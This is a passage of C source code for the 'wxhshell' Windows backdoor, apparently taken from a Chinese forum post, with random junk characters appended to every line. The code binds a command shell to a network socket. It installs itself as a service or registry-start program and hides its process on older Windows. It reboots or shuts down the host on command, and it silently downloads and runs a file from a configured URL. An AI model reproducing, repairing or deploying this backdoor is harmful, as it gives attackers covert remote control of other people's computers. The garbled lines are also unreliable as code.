  // 帮助 9+@h2"|N4*  
  case '?': { aZmN(AJ8v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,Wlt[T(.;  
    break; /JR+WmO  
  } 5NhFjPETr  
  // 安装 j*.;6}\o  
  case 'i': { a}UmD HS-  
    if(Install()) Jy(G A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GL n M1  
    else ;u<Ah?w=Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <X)\P}"L4  
    break; /*#o1W?wQZ  
    } jYp!?%!  
  // 卸载 ?%6oM  
  case 'r': { 4zyQ"?A~  
    if(Uninstall()) 1iF=~@Nz_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pe _O(  
    else ,jY:@<n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yT7$6x  
    break; 'I$FOH   
    } J0!V(  
  // 显示 wxhshell 所在路径 1B;2 ~2X  
  case 'p': { RcYUO*  
    char svExeFile[MAX_PATH]; R l ]x:  
    strcpy(svExeFile,"\n\r"); IJ Jp5[w  
      strcat(svExeFile,ExeFile); E{\CE1*  
        send(wsh,svExeFile,strlen(svExeFile),0); =z'(FP5!0  
    break; w ,j*I7V  
    } h3@tZL#g  
  // 重启 ~q ^o|?  
  case 'b': { OFtaOjsyUa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jqaX|)8|$  
    if(Boot(REBOOT)) m'"r<]pB*4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Skt-5S#  
    else { wMVUTm  
    closesocket(wsh); 91]|4k93  
    ExitThread(0); cUR :a @  
    } gv`_+E{P  
    break; 9S%5 Z>  
    } So 1TH%  
  // 关机 -.h)CM@L  
  case 'd': {  vD#U+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (=!At)O  
    if(Boot(SHUTDOWN)) a`' >VCg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PBn7{( x  
    else { +pR,BjY  
    closesocket(wsh); x9 > ho  
    ExitThread(0); GB$`b'x@S  
    } => (g_\  
    break; H,% bKl#  
    } z206fF  
  // 获取shell `]5qIKopL  
  case 's': { !,`'VQw$  
    CmdShell(wsh); U"r*kO%  
    closesocket(wsh); NVM_.vL  
    ExitThread(0);  nYx /q  
    break; %E_Y4Oe1  
  } Lp&nO  
  // 退出 )E.AY  
  case 'x': { A]bQUWt2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <O+GXJ2  
    CloseIt(wsh); ql@2<V{  
    break; ~<_#%R!  
    }  R[m-jUL  
  // 离开 g@'XmT="_  
  case 'q': { Nr*l3Z>LD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WR #XPbk  
    closesocket(wsh); VZqCFE3  
    WSACleanup(); :<aGZ\R5  
    exit(1); !}6'vq  
    break; gfggL&t(  
        } w%\ nXJ  
  } _#K|g#p5  
  } }n&nuaj  
)x!q;^Js9A  
  // 提示信息 5,;\zSz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `/WxEu3  
} 11l=zv  
  } T9c7cp[  
3V]dl)en%  
  return; Y7S1^'E 3  
} o`CM15d*7o  
RFbf2s\t  
// shell模块句柄 ;}Jv4Z  
int CmdShell(SOCKET sock) +k6` tl~*  
{ 3N >V sl  
STARTUPINFO si; !mK()#6  
ZeroMemory(&si,sizeof(si)); P.Tnq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N #v[YO`.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #f(a,,Uu'  
PROCESS_INFORMATION ProcessInfo; b,Eq-Z;  
char cmdline[]="cmd"; QP(d77 n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q&:7R .Ci  
  return 0; le^Fik   
} ]ttF''lH  
B}04E^  
// 自身启动模式 pS8\B  
int StartFromService(void) jIaaNO)  
{ /cClV"S*G  
typedef struct T4W20dxL7  
{ 6OE xAn8  
  DWORD ExitStatus; p{oz}}  
  DWORD PebBaseAddress; pq0Z<b;2  
  DWORD AffinityMask; .+>fD0fW7Y  
  DWORD BasePriority; fm Yx  
  ULONG UniqueProcessId; GpPM?  
  ULONG InheritedFromUniqueProcessId; i?B<&'G  
}   PROCESS_BASIC_INFORMATION; HxK'u4I  
;8#6da,  
PROCNTQSIP NtQueryInformationProcess; GipiO5)1C  
X#T|.mCdC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6c+29@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~0CNCP  
Y1lUO[F j  
  HANDLE             hProcess; \X %#-y  
  PROCESS_BASIC_INFORMATION pbi; Sck!w 3  
'R1C-U3w,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kt Z~r. +  
  if(NULL == hInst ) return 0; {#+K+!SvDX  
UZ/LR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D*@'%<?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %x#S?GMV<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SkV pZh  
vgc~%k62c  
  if (!NtQueryInformationProcess) return 0; Yjo$vQi  
<nJGJ5JJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nGGw(6c%>  
  if(!hProcess) return 0; mqeW,89  
();Z,A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ecm+33C  
C2LG@iCIE  
  CloseHandle(hProcess); iOm&(2/  
3T(ft^~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !_Y%+Rkp0  
if(hProcess==NULL) return 0; jA8Bmwt;w  
H`<u2fo|p  
HMODULE hMod; 1<h@ ^s;  
char procName[255]; /7B3z}rd  
unsigned long cbNeeded; R[F`b  
H5]q*D2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R:P),  
4qDa: D"5  
  CloseHandle(hProcess); g&RhPrtl  
`Zp*?  
if(strstr(procName,"services")) return 1; // 以服务启动 (M;d*gN r  
5<X"+`=9  
  return 0; // 注册表启动 >l}v _k*~B  
} L7- JK3/E  
%D-!< )z  
// 主模块 N]8/l:@  
int StartWxhshell(LPSTR lpCmdLine) Lm$KR!z  
{ }#Up:o]A!  
  SOCKET wsl; $lB!Q8a$  
BOOL val=TRUE; mr[1F]G  
  int port=0; /p;OZf]  
  struct sockaddr_in door; GQ Flt_  
rSDI.m   
  if(wscfg.ws_autoins) Install(); 860y9wzU  
=Q;dYx%I5  
port=atoi(lpCmdLine); 4WlB Q<5  
 k=t{o  
if(port<=0) port=wscfg.ws_port; xNY&*jI  
O|m-[]  
  WSADATA data; IF&edP[V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T#E,^|WEk  
M+-odLltw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `-s]d q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |@rf#,hTDp  
  door.sin_family = AF_INET; XwIHIG}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rU>l(O'b  
  door.sin_port = htons(port); !*^+7M  
e}gGl<((g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (CDh,ZN;|  
closesocket(wsl); =s AOWI,8!  
return 1; 7F]oK0l_  
} -iy17$  
}K.)yv n  
  if(listen(wsl,2) == INVALID_SOCKET) { P2>_qyX  
closesocket(wsl); cgcU2N6y;  
return 1; 9R+ qw  
} varaBFD  
  Wxhshell(wsl); aEUEy:.  
  WSACleanup(); heES [  
=J-&usX  
return 0; % T$!I(L&  
*ax&}AHK[/  
} }uD*\.  
ZDK+>^A)  
// 以NT服务方式启动 FKtCUq,:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CW@EQ3y0  
{ ;[C_ho  
DWORD   status = 0; yqb$,$  
  DWORD   specificError = 0xfffffff; z/o&r`no  
22d>\u+c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Yg!fEopLb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GOCe&?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k:U%#rb;  
  serviceStatus.dwWin32ExitCode     = 0; pcQzvLk  
  serviceStatus.dwServiceSpecificExitCode = 0; RXO}mu]Iu  
  serviceStatus.dwCheckPoint       = 0; M&(0n?R"R  
  serviceStatus.dwWaitHint       = 0; 7 A{R0@  
P`CQ)o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]<iD'=a  
  if (hServiceStatusHandle==0) return; wVv@   
y7b>>|C  
status = GetLastError(); ,[|i^  
  if (status!=NO_ERROR) 2j^8{Agz  
{ V#&S&dn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y,KSr|vG  
    serviceStatus.dwCheckPoint       = 0; q\s>Oe6$  
    serviceStatus.dwWaitHint       = 0; 1N.weey}W  
    serviceStatus.dwWin32ExitCode     = status; qpB8ujj<V  
    serviceStatus.dwServiceSpecificExitCode = specificError; /u"K`y/*j\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /KgP<2p  
    return; '8^>Z.~V  
  } fQfd1=4  
5'rP-z~ u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7?Twhs.O  
  serviceStatus.dwCheckPoint       = 0; GKXd"8z]  
  serviceStatus.dwWaitHint       = 0; wx/*un%2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aH$DEs  
} !J }Q%i  
{us#(4O  
// 处理NT服务事件,比如:启动、停止 9Kc;]2m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (Ixmg=C6y  
{ ,Igd<A=  
switch(fdwControl) z}$!B.)  
{ 4n\O6$&.x  
case SERVICE_CONTROL_STOP: 8(@(G_skp  
  serviceStatus.dwWin32ExitCode = 0; =6, w~|W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DoEN`K\U  
  serviceStatus.dwCheckPoint   = 0; ynq^ztBVe  
  serviceStatus.dwWaitHint     = 0; l5Q-M{w0x  
  { d?GB#N|+g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); covK6SH  
  } y $>U[^G[  
  return; 5F5)Bh  
case SERVICE_CONTROL_PAUSE: DvBRK}'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dJ,,yA*  
  break; =W'{xG}  
case SERVICE_CONTROL_CONTINUE: y(6*)~Dh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h"$], =  
  break; K"=I,Vr:  
case SERVICE_CONTROL_INTERROGATE: PAjH*5I A  
  break; 0e~4(2xK  
}; Q$S|LC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D14i]  
} qAVZ&:#  
Z&Z= 24q_  
// 标准应用程序主函数 w"FBJULzn9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d/I*$UC  
{ /80RO:'7  
\ci[<CP  
// 获取操作系统版本 =(as{,j  
OsIsNt=GetOsVer(); D"s ]dQ$r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !-|{B3"6  
fJOA5(  
  // 从命令行安装 &n2dL->*#  
  if(strpbrk(lpCmdLine,"iI")) Install(); R`>z>!)  
}woNI  
  // 下载执行文件 .5YW >PV  
if(wscfg.ws_downexe) { {# TZFB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X2C&q$8  
  WinExec(wscfg.ws_filenam,SW_HIDE); } |? W  
} a.G;s2>  
OYk/K70l3  
if(!OsIsNt) { uU`Mq8) R  
// 如果时win9x,隐藏进程并且设置为注册表启动 FP h1}qS  
HideProc(); wb (quu  
StartWxhshell(lpCmdLine); k9o LJ<.k  
} e_t""h4D  
else af;~<o a  
  if(StartFromService()) J*r%b+  
  // 以服务方式启动 \XgpwvO".  
  StartServiceCtrlDispatcher(DispatchTable); >0jg2vqt  
else  :)Z.!  
  // 普通方式启动 b#{[Pk,w9  
  StartWxhshell(lpCmdLine); ]@mV9:n{  
&6#Ft]6~  
return 0; {P $sQv  
}
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只看该作者 1 发表于: 2006-10-10
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